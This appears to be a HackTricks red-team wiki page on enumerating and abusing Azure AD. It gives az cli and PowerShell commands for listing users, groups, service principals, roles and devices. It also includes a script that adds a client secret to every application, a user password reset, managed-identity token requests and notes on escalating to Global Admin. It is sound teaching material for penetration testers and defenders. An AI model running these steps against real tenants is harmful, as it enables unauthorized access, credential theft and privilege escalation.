Skip to content

Latest commit

 

History

History
 
 

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 

Az - AzureAD (AAD)

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Basic Information

Azure Active Directory (Azure AD) serves as Microsoft's cloud-based service for identity and access management. It is instrumental in enabling employees to sign in and gain access to resources, both within and beyond the organization, encompassing Microsoft 365, the Azure portal, and a multitude of other SaaS applications. The design of Azure AD focuses on delivering essential identity services, prominently including authentication, authorization, and user management.

Key features of Azure AD involve multi-factor authentication and conditional access, alongside seamless integration with other Microsoft security services. These features significantly elevate the security of user identities and empower organizations to effectively implement and enforce their access policies. As a fundamental component of Microsoft's cloud services ecosystem, Azure AD is pivotal for the cloud-based management of user identities.

Entities

Enumeration

For this enumeration you can use the az cli tool, the PowerShell module AzureAD (or AzureAD Preview) and the Az PowerShell module.

{% hint style="success" %} In linux you will need to install PowerShell Core:

sudo apt-get update
sudo apt-get install -y wget apt-transport-https software-properties-common

# Ubuntu 20.04
wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb

# Update repos
sudo apt-get update
sudo add-apt-repository universe

# Install & start powershell
sudo apt-get install -y powershell
pwsh

# Az cli
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash

{% endhint %}

Modules differences

  • AzureAD is a PowerShell module from Microsoft for managing Azure AD. It doesnt' show all the properties of Azure AD objects and cannot be used to access Azure resources info.
  • Az PowerShell is a module for managing Azure resources from the PowerShell command line.

Connection

{% tabs %} {% tab title="az cli" %}

az login #This will open the browser
az login -u <username> -p <password> #Specify user and password
az login --identity #Use the current machine managed identity (metadata)
az login --identity -u /subscriptions/<subscriptionId>/resourcegroups/myRG/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myID #Login with user managed identity
# Login as service principal
az login --service-principal -u http://azure-cli-2016-08-05-14-31-15 -p VerySecret --tenant contoso.onmicrosoft.com #With password
az login --service-principal -u http://azure-cli-2016-08-05-14-31-15 -p ~/mycertfile.pem --tenant contoso.onmicrosoft.com #With cert

# Request access token (ARM)
az account get-access-token
# Request access token for different resource. Supported tokens: aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token --resource-type aad-graph

# If you want to configure some defaults
az configure

# Get user logged-in already
az ad signed-in-user show

# Help
az find "vm" # Find vm commands
az vm -h # Get subdomains
az ad user list --query-examples # Get examples

{% endtab %}

{% tab title="Azure AD" %} {% code overflow="wrap" %}

Connect-AzureAD #Open browser
# Using credentials
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("[email protected]", $passwd)
Connect-AzureAD -Credential $creds

# Using tokens
## AzureAD cannot request tokens, but can use AADGraph and MSGraph tokens to connect
Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token

{% endcode %} {% endtab %}

{% tab title="Az PowerShell" %}

Connect-AzAccount #Open browser
# Using credentials
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("[email protected]", $passwd)
Connect-AzAccount -Credential $creds

# Get Access Token
(Get-AzAccessToken).Token
# Request access token to other endpoints: AadGraph, AnalysisServices, Arm, Attestation, Batch, DataLake, KeyVault, MSGraph, OperationalInsights, ResourceManager, Storage, Synapse
Get-AzAccessToken -ResourceTypeName MSGraph
(Get-AzAccessToken -Resource "https://graph.microsoft.com").Token

# Conenct with access token
Connect-AzAccount -AccountId test@corp.onmicrosoft.com -AccessToken $token
Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId <ACCOUNT-ID>
## The -AccessToken is from management.azure.com

# Connect with Service principal/enterprise app secret
$password = ConvertTo-SecureString 'KWEFNOIRFIPMWL.--DWPNVFI._EDWWEF_ADF~SODNFBWRBIF' -AsPlainText -Force
$creds = New-Object
 System.Management.Automation.PSCredential('2923847f-fca2-a420-df10-a01928bec653', $password)
Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant 29sd87e56-a192-a934-bca3-0398471ab4e7d

#All the Azure AD cmdlets have the format *-AzAD*
Get-Command *azad*
#Cmdlets for other Azure resources have the format *Az*
Get-Command *az*

{% endtab %}

{% tab title="Raw PS" %} {% code overflow="wrap" %}

#Using management
$Token = 'eyJ0eXAi..'
# List subscriptions
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
  Method  = 'GET'
  Uri     = $URI
  Headers = @{
      'Authorization' = "Bearer $Token"
  }
}
(Invoke-RestMethod @RequestParams).value

# Using graph
Invoke-WebRequest -Uri "https://graph.windows.net/myorganization/users?api-version=1.6" -Headers @{Authorization="Bearer {0}" -f $Token}

{% endcode %} {% endtab %}

{% tab title="Raw OS" %} {% code overflow="wrap" %}

# Request tokens to access endpoints
# ARM
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

# Vault
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

{% endcode %} {% endtab %} {% endtabs %}

When you login via CLI into Azure with any progam, you are using an Azure Application from a tenant that belongs to Microsoft. These Applications, like the ones you can create in your account, have a client id. You won't be able to see all of them in the allowed applications lists you can see in the console, but they are allower by default.

For example a powershell script that authenticates use an app with client id 1950a258-227b-4e31-a9cf-717495945fc2. Even if the app doesn't appear in the console, a sysadmin could block that application so users cannot access using tools that connects via that App.

However, there are other client-ids of applications that will allow you to connect to Azure:

# The important part is the ClientId, which identifies the application to login inside Azure

$token = Invoke-Authorize -Credential $credential `
                         -ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
                         -Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
                         -Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
                         -Verbose -Debug `
                         -InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
                         -ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
                         -Scope 'openid profile Sites.Read.All User.Read email' `
                         -Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
                         -Verbose -Debug `
                         -InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
                         -ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
                         -Scope 'openid' `
                         -Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
                         -Verbose -Debug `
                         -InformationAction Continue

Users

{% tabs %} {% tab title="az cli" %}

# Enumerate users
az ad user list --output table
az ad user list --query "[].userPrincipalName"
# Get info of 1 user
az ad user show --id "[email protected]"
# Search "admin" users
az ad user list --query "[].displayName" | findstr /i "admin"
az ad user list --query "[?contains(displayName,'admin')].displayName"
# Search attributes containing the word "password"
az ad user list | findstr /i "password" | findstr /v "null,"
# All users from AzureAD
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi==null]"
az ad user list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All users synced from on-prem
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi!=null]"
az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get groups where the user is a member
az ad user get-member-groups --id <email>
# Get roles assigned to the user
az role assignment list --include-groups --include-classic-administrators true --assignee <email>

{% endtab %}

{% tab title="Azure AD" %}

# Enumerate Users
Get-AzureADUser -All $true
Get-AzureADUser -All $true | select UserPrincipalName
# Get info of 1 user
Get-AzureADUser -ObjectId test@corp.onmicrosoft.com | fl
# Search "admin" users
Get-AzureADUser -SearchString "admin" #Search admin at the begining of DisplayName or userPrincipalName
Get-AzureADUser -All $true |?{$_.Displayname -match "admin"} #Search "admin" word in DisplayName
# Get all attributes of a user
Get-AzureADUser -ObjectId test@defcorphq.onmicrosoft.com|%{$_.PSObject.Properties.Name}
# Search attributes containing the word "password"
Get-AzureADUser -All $true |%{$Properties = $_;$Properties.PSObject.Properties.Name | % {if ($Properties.$_ -match 'password') {"$($Properties.UserPrincipalName) - $_ - $($Properties.$_)"}}}
# All users from AzureAD# All users from AzureAD
Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null}
# All users synced from on-prem
Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null}
# Objects created by a/any user
Get-AzureADUser [-ObjectId <email>] | Get-AzureADUserCreatedObject
# Devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# Objects owned by a specific user
Get-AzureADUserOwnedObject -ObjectId test@corp.onmicrosoft.com
# Get groups & roles where the user is a member
Get-AzureADUserMembership -ObjectId '[email protected]'
# Get devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# Get devices registered by a user
Get-AzureADUserRegisteredDevice -ObjectId test@defcorphq.onmicrosoft.com
# Apps where a user has a role (role not shown)
Get-AzureADUser -ObjectId roygcain@defcorphq.onmicrosoft.com | Get-AzureADUserAppRoleAssignment | fl *
# Get Administrative Units of a user
$userObj = Get-AzureADUser -Filter "UserPrincipalName eq '[email protected]'"
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -Id $_.Id | where { $_.Id -eq $userObj.ObjectId } }

{% endtab %}

{% tab title="Az PowerShell" %}

# Enumerate users
Get-AzADUser
# Get details of a user
Get-AzADUser -UserPrincipalName test@defcorphq.onmicrosoft.com
# Search user by string
Get-AzADUser -SearchString "admin" #Search at the beginnig of DisplayName
Get-AzADUser | ?{$_.Displayname -match "admin"}
# Get roles assigned to a user
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com

{% endtab %} {% endtabs %}

Change User Password

{% code overflow="wrap" %}

$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force

(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "[email protected]"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose

{% endcode %}

MFA & Conditional Access Policies

It's highly recommended to add MFA to every user, however, some companies won't set it or might set it with a Conditional Access: The user will be required MFA if it logs in from an specific location, browser or some condition. These policies, if not configured correctly might be prone to bypasses. Check:

{% content-ref url="az-conditional-access-policies-mfa-bypass.md" %} az-conditional-access-policies-mfa-bypass.md {% endcontent-ref %}

Groups

{% tabs %} {% tab title="az cli" %}

# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
# Get info of 1 group
az ad group show --group <group>
# Get "admin" groups
az ad group list --query "[].displayName" | findstr /i "admin"
az ad group list --query "[?contains(displayName,'admin')].displayName"
# All groups from AzureAD
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi==null]"
az ad group list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All groups synced from on-prem
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi!=null]"
az ad group list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get members of group
az ad group member list --group <group> --query "[].userPrincipalName" -o table
# Check if member of group
az ad group member check --group "VM Admins" --member-id <id>
# Get which groups a group is member of
az ad group get-member-groups -g "VM Admins"
# Get Apps where a group has a role (role not shown)
Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *

{% endtab %}

{% tab title="Azure AD" %}

# Enumerate Groups
Get-AzureADGroup -All $true
# Get info of 1 group
Get-AzADGroup -DisplayName <resource_group_name> | fl
# Get "admin" groups
Get-AzureADGroup -SearchString "admin" | fl #Groups starting by "admin"
Get-AzureADGroup -All $true |?{$_.Displayname -match "admin"} #Groups with the word "admin"
# Get groups allowing dynamic membership
Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}
# All groups that are from Azure AD 
Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null}
# All groups that are synced from on-prem (note that security groups are not synced)
Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null}
# Get members of a group
Get-AzureADGroupMember -ObjectId <group_id>
# Get roles of group
Get-AzureADMSGroup -SearchString "Contoso_Helpdesk_Administrators" #Get group id
Get-AzureADMSRoleAssignment -Filter "principalId eq '69584002-b4d1-4055-9c94-320542efd653'"
# Get Administrative Units of a group
$groupObj = Get-AzureADGroup -Filter "displayname eq 'TestGroup'"
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -Id $_.Id | where {$_.Id -eq $groupObj.ObjectId} }

{% endtab %}

{% tab title="Az PowerShell" %}

# Get all groups
Get-AzADGroup
# Get details of a group
Get-AzADGroup -ObjectId <id>
# Search group by string
Get-AzADGroup -SearchString "admin" | fl * #Search at the beginnig of DisplayName
Get-AzADGroup |?{$_.Displayname -match "admin"}
# Get members of group
Get-AzADGroupMember -GroupDisplayName <resource_group_name>
# Get roles of group
Get-AzRoleAssignment -ResourceGroupName <resource_group_name>

{% endtab %} {% endtabs %}

Add user to group

Owners of the group can add new users to the group

{% code overflow="wrap" %}

Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose

{% endcode %}

{% hint style="warning" %} Groups can be dynamic, which basically means that if a user fulfil certain conditions it will be added to a group. Of course, if the conditions are based in attributes a user can control, he could abuse this feature to get inside other groups.
Check how to abuse dynamic groups in the following page: {% endhint %}

{% content-ref url="dynamic-groups.md" %} dynamic-groups.md {% endcontent-ref %}

Service Principals / Enterprise Applications

{% hint style="info" %} Note that Service Principal in PowerShell terminology is called Enterprise Applications in the Azure portal (web). {% endhint %}

{% tabs %} {% tab title="az cli" %}

# Get Service Principals
az ad sp list --all
az ad sp list --all --query "[].[displayName]" -o table
# Get details of one SP
az ad sp show --id 00000000-0000-0000-0000-000000000000
# Search SP by string
az ad sp list --all --query "[?contains(displayName,'app')].displayName"
# Get owner of service principal
az ad sp owner list --id <id> --query "[].[displayName]" -o table
# Get service principals owned by the current user
az ad sp list --show-mine
# List apps that have password credentials
az ad sp list --all --query "[?passwordCredentials != null].displayName"
# List apps that have key credentials (use of certificate authentication)
az ad sp list -all --query "[?keyCredentials != null].displayName"

{% endtab %}

{% tab title="Azure AD" %}

# Get Service Principals
Get-AzureADServicePrincipal -All $true
# Get details about a SP
Get-AzureADServicePrincipal -ObjectId <id> | fl *
# Get SP by string name or Id
Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -match "app"} | fl
Get-AzureADServicePrincipal -All $true | ?{$_.AppId -match "103947652-1234-5834-103846517389"}
# Get owner of SP
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalOwner |fl *
# Get objects owned by a SP
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalOwnedObject
# Get objects created by a SP
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalCreatedObject
# Get groups where the SP is a member
Get-AzureADServicePrincipal | Get-AzureADServicePrincipalMembership
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembership |fl *

{% endtab %}

{% tab title="Az PowerShell" %}

# Get SPs
Get-AzADServicePrincipal
# Get info of 1 SP
Get-AzADServicePrincipal -ObjectId <id>
# Search SP by string
Get-AzADServicePrincipal | ?{$_.DisplayName -match "app"}
# Get roles of a SP
Get-AzRoleAssignment -ServicePrincipalName <String>

{% endtab %}

{% tab title="Raw" %}

$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
  Method  = 'GET'
  Uri     = $URI
  Headers = @{
      'Authorization' = "Bearer $Token"
  }
}
(Invoke-RestMethod @RequestParams).value

{% endtab %} {% endtabs %}

{% hint style="warning" %} The Owner of a Service Principal can change its password. {% endhint %}

List and try to add a client secret on each Enterprise App
# Just call Add-AzADAppSecret
Function Add-AzADAppSecret
{
<#
    .SYNOPSIS
        Add client secret to the applications.

    .PARAMETER GraphToken
        Pass the Graph API Token 

    .EXAMPLE
        PS C:\> Add-AzADAppSecret -GraphToken 'eyJ0eX..'

    .LINK
        https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http
        https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http
#>

    [CmdletBinding()]
    param(
    [Parameter(Mandatory=$True)]
    [String]
    $GraphToken = $null
    )

    $AppList = $null
    $AppPassword = $null

    # List All the Applications

    $Params = @{
     "URI"     = "https://graph.microsoft.com/v1.0/applications"
     "Method"  = "GET"
     "Headers" = @{
     "Content-Type"  = "application/json"
     "Authorization" = "Bearer $GraphToken"
     }
    }

    try
    { 
        $AppList = Invoke-RestMethod @Params -UseBasicParsing
    }
    catch
    {
    }

    # Add Password in the Application

    if($AppList -ne $null)
    {
        [System.Collections.ArrayList]$Details = @()

        foreach($App in $AppList.value)
        {
            $ID = $App.ID
            $psobj = New-Object PSObject

            $Params = @{
             "URI"     = "https://graph.microsoft.com/v1.0/applications/$ID/addPassword"
             "Method"  = "POST"
             "Headers" = @{
             "Content-Type"  = "application/json"
             "Authorization" = "Bearer $GraphToken"
             }
            }

            $Body = @{
              "passwordCredential"= @{
                "displayName" = "Password"
              }
            }
 
            try
            {
                $AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json)
                Add-Member -InputObject $psobj -NotePropertyName "Object ID" -NotePropertyValue $ID
                Add-Member -InputObject $psobj -NotePropertyName "App ID" -NotePropertyValue $App.appId
                Add-Member -InputObject $psobj -NotePropertyName "App Name" -NotePropertyValue $App.displayName
                Add-Member -InputObject $psobj -NotePropertyName "Key ID" -NotePropertyValue $AppPassword.keyId
                Add-Member -InputObject $psobj -NotePropertyName "Secret" -NotePropertyValue $AppPassword.secretText
                $Details.Add($psobj) | Out-Null
            }
            catch
            {
                Write-Output "Failed to add new client secret to '$($App.displayName)' Application." 
            }
        }
        if($Details -ne $null)
        {
            Write-Output ""
            Write-Output "Client secret added to : " 
            Write-Output $Details | fl *
        }
    }
    else
    {
       Write-Output "Failed to Enumerate the Applications."
    }
}

Roles

{% tabs %} {% tab title="az cli" %}

# Get roles
az role definition list
# Get assigned roles
az role assignment list --all --query "[].roleDefinitionName"
az role assignment list --all | jq '.[] | .roleDefinitionName,.scope'
# Get info of 1 role
az role definition list --name "AzureML Registry User"
# Get only custom roles
az role definition list --custom-role-only
# Get only roles assigned to the resource group indicated
az role definition list --resource-group <resource_group>
# Get only roles assigned to the indicated scope
az role definition list --scope <scope>
# Get all the principals a role is assigned to
az role assignment list --all --query "[].{principalName:principalName,principalType:principalType,resourceGroup:resourceGroup,roleDefinitionName:roleDefinitionName}[?roleDefinitionName=='<ROLE_NAME>']"

{% endtab %}

{% tab title="Azure AD" %}

# Get all available role templates
Get-AzureADDirectoryroleTemplate
# Get enabled roles (Assigned roles)
Get-AzureADDirectoryRole
Get-AzureADDirectoryRole -ObjectId <roleID> #Get info about the role
# Get custom roles - use AzureAdPreview
Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName
# Users assigned a role (Global Administrator)
Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember
Get-AzureADDirectoryRole -ObjectId <id> | fl
# Roles of the Administrative Unit (who has permissions over the administrative unit and its members)
Get-AzureADMSScopedRoleMembership -Id <id> | fl *

{% endtab %}

{% tab title="Az PowerShell" %}

# Get role assignments on the subscription
Get-AzRoleDefinition
# Get Role definition
Get-AzRoleDefinition -Name "Virtual Machine Command Executor"
# Get roles of a user or resource
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res_group_name>/providers/Microsoft.Compute/virtualMachines/<vm_name>

{% endtab %}

{% tab title="Raw" %}

# Get permissions over a resource using ARM directly
$Token = (Get-AzAccessToken).Token
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
$RequestParams = @{
 Method = 'GET'
 Uri = $URI
 Headers = @{
 'Authorization' = "Bearer $Token"
 }
}
(Invoke-RestMethod @RequestParams).value 

{% endtab %} {% endtabs %}

Devices

{% tabs %} {% tab title="az cli" %}

# If you know how to do this send a PR!

{% endtab %}

{% tab title="Azure AD" %}

# Enumerate Devices
Get-AzureADDevice -All $true | fl *
# List all the active devices (and not the stale devices)
Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null}
# Get owners of all devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredOwner -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
# Registred users of all the devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredUser -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
# Get dives managed using Intune
Get-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"}
# Get devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# Get Administrative Units of a device
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} }

{% endtab %} {% endtabs %}

{% hint style="warning" %} If a device (VM) is AzureAD joined, users from AzureAD are going to be able to login.
Moreover, if the logged user is Owner of the device, he is going to be local admin. {% endhint %}

Applications

{% hint style="info" %} Apps are App Registrations in the portal (not Enterprise Applications).
But each App Registration will create an Enterprise Application (Service Principal) with the same name.
Moreover, if the App is a multi-tenant App, another Enterprise App (Service Principal) will be created in that tenant with the same name. {% endhint %}

When an App is generated 2 types of permissions are given:

  • Permissions given to the Service Principal
  • Permissions the app can have and use on behalf of the user.

{% tabs %} {% tab title="az cli" %}

# List Apps
az ad app list
az ad app list --query "[].[displayName]" -o table
# Get info of 1 App
az ad app show --id 00000000-0000-0000-0000-000000000000
# Search App by string
az ad app list --query "[?contains(displayName,'app')].displayName"
# Get the owner of an application
az ad app owner list --id <id> --query "[].[displayName]" -o table
# List all the apps with an application password
az ad app list --query "[?passwordCredentials != null].displayName"
# List apps that have key credentials (use of certificate authentication)
az ad app list --query "[?keyCredentials != null].displayName"

{% endtab %}

{% tab title="Azure AD" %}

# List all registered applications
Get-AzureADApplication -All $true
# Get details of an application
Get-AzureADApplication -ObjectId <id>  | fl *
# List all the apps with an application password
Get-AzureADApplication -All $true | %{if(Get-AzureADApplicationPasswordCredential -ObjectID $_.ObjectID){$_}}
# Get owner of an application
Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *

{% endtab %}

{% tab title="Az PowerShell" %}

# Get Apps
Get-AzADApplication
# Get details of one App
Get-AzADApplication -ObjectId <id>
# Get App searching by string
Get-AzADApplication | ?{$_.DisplayName -match "app"}
# Get Apps with password
Get-AzADAppCredential

{% endtab %} {% endtabs %}

{% hint style="warning" %} An app with the permission AppRoleAssignment.ReadWrite can escalate to Global Admin by grating itself the role.
For more information check this. {% endhint %}

{% hint style="info" %} A secret string that the application uses to prove its identity when requesting a token is the application password.
So, if find this password you can access as the service principal inside the tenant.
Note that this password is only visible when generated (you could change it but you cannot get it again).
The owner of the application can add a password to it (so he can impersonate it).
Logins as these service principals are not marked as risky and they won't have MFA. {% endhint %}

Difference Applications & (Enterprise Applications or Service Principals)

Difference between an application and a Service Principal in Azure:

  • Application/App Registrations: Are applications that exist in your Azure AD
    • (Get-AzureADApplication -filter "DisplayName eq 'testapp'")
  • Service Principal/Enterprise Applications: Security objects in your Azure AD that can have privileges in the Azure Directory and are linked to either your application or a third party application
    • Get-AzureADServicePrincipal -filter "DisplayName eq 'testapp'")
    • An admin might need to approve the given permissions if they are very sensitive.

An application can be ruining a Third party tenant and once you start using it and give it access an Enterprise Application/Service Principal is created in your tenant to give it access to the info it needs:

Administrative Units

It's used for better management of users.

Administrative units restrict permissions in a role to any portion of your organization that you define. You could, for example, use administrative units to delegate the Helpdesk Administrator role to regional support specialists, so they can manage users only in the region that they support.

Therefore, you can assign roles to the administrator unit and members of it will have this roles.

{% tabs %} {% tab title="az cli" %}

{% endtab %}

{% tab title="AzureAD" %}

# Get Administrative Units
Get-AzureADMSAdministrativeUnit
Get-AzureADMSAdministrativeUnit -Id <id>
# Get ID of admin unit by string
$adminUnitObj = Get-AzureADMSAdministrativeUnit -Filter "displayname eq 'Test administrative unit 2'"
# List the users, groups, and devices affected by the administrative unit
Get-AzureADMSAdministrativeUnitMember -Id <id>
# Get the roles users have over the members of the AU
Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members

{% endtab %} {% endtabs %}

Azure AD Identity Protection (AIP)

Azure AD Identity Protection (AIP) is a security service that uses automated detection and remediation to help protect user identities in Azure Active Directory from being compromised. AIP continuously monitors and assesses the risk of user sign-ins and identity configurations, automatically applying appropriate security measures, such as requiring multi-factor authentication or blocking potentially dangerous activities. This helps organizations prevent identity-based security breaches.

Flow:

  1. Azure AD Identity Protection monitors user activities and collects data on user sign-ins, authentication events, and other relevant activities.
  2. The service uses machine learning algorithms to analyze this data and detect potential security threats.
  3. Azure AD Identity Protection assigns a level of risk to the threat (e.g. sign-in) and generate an alert if needed to perform some automatic action.

Azure AD Password Protection (APP)

Azure AD Password Protection (APP) is a security feature that helps prevent weak passwords in Azure Active Directory by enforcing strong password policies. APP blocks commonly used weak passwords and their variants, reducing the risk of password-related breaches. It can be applied both at the cloud level and on-premises Active Directory, enhancing overall password security across the organization.

References

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}